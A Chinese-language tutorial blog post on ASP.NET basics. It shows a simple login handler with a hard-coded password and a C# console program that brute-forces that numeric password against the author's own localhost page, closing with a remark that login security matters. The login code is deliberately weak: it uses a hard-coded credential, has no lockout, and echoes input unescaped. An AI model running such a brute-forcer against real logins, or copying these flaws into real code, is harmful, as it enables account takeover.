標籤:style blog http io ar color os sp for
首先寫出一段登陸程式:
//ashx端<%@ WebHandler Language="C#" Class="AddCalation" %>using System;using System.Web;public class AddCalation : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/html"; string ispostback=context.Request["isback"]; string username = context.Request["username"]; string password = context.Request["password"]; if (ispostback == "yes") { if (username == "admin" && password == "2314") { context.Response.Write("登陸成功"); } else { context.Response.Write("登陸失敗"); } } else { username = string.Empty; password = string.Empty; } string path = context.Server.MapPath("AddCalation.html"); string content = System.IO.File.ReadAllText(path); content=content.Replace("@user",username); content = content.Replace("@pass", password); context.Response.Write(content); } public bool IsReusable { get { return false; } }}//html端<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>加法計算機</title></head><body> <form action="AddCalation.ashx"> <input type="hidden"value="yes"name="isback" /> <label for="user">使用者名稱</label> <input type="text" id="user" value="@user"name="username" /> <br /> <label for="pass">密碼</label> <input type="password" id="pass"value="@pass" name="password" /> <br /><input type="submit" value="登陸" /></form></body></html>
然後寫一段C#控制台程式進行暴力破解
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Net; 5 using System.Text; 6 using System.Threading.Tasks; 7 8 9 namespace PasswordBreak10 {11 class Program12 {13 static void Main(string[] args)14 {15 WebClient wc = new WebClient();16 wc.Encoding = Encoding.UTF8;17 string s="";18 for (int i = 0; i < 5000; i++)19 {20 s = wc.DownloadString("http://localhost:41566/AddCalation.ashx?isback=yes&username=admin&password=" + i);21 if (s.Contains("登陸成功"))22 { Console.WriteLine(i); break; }23 }24 Console.WriteLine();25 Console.Write(s);26 Console.ReadKey();27 }28 }29 }
通過迴圈依次實驗密碼來破解自己寫的登陸代碼中的密碼
所以說登陸連接埠的安全性非常重要。
ASP.NET基礎學習(暴力破解密碼)